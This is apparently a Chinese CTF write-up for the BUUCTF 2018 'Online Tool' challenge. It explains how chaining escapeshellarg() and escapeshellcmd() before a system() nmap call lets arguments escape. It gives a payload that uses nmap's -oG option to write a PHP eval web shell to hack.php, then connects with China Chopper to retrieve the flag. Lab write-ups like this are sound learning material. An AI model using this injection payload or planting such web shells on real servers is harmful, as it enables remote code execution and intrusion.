[BUUCTF 2018]Online Tool

 

知识点

  • 参数逃逸
  • nmap写文件

源代码如下

<?php

if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

if(!isset($_GET['host'])) {
    highlight_file(__FILE__);
} else {
    $host = $_GET['host'];
    $host = escapeshellarg($host);
    $host = escapeshellcmd($host);
    $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
    echo 'you are in sandbox '.$sandbox;
    @mkdir($sandbox);
    chdir($sandbox);
    echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}

 

REMOTE_ADDR和HTTP_X_FORWARDED_FOR是服务器获取ip用的,此处无用。
escapeshellarg()和escapeshellcmd()函数连用会存在参数逃逸,参照
http://www.lmxspace.com/2018/07/16/谈谈escapeshellarg参数绕过和注入的问题/
在这里插入图片描述
再看

echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);

 


此处使用system函数,应该可以进行命令执行,nmap参数中 -oG可以进行文件写入,此处我们写入一句话木马,最后payload为

?host=' <?php @eval($_POST["hack"]);?> -oG hack.php '

 

得到
在这里插入图片描述
hack.php文件应该是上传到这个文件夹中了,使用菜刀连接即可在根目录处找到flag

 

posted @ 2020-05-12 10:47  山野村夫z1  阅读(1142)  评论(0编辑  收藏  举报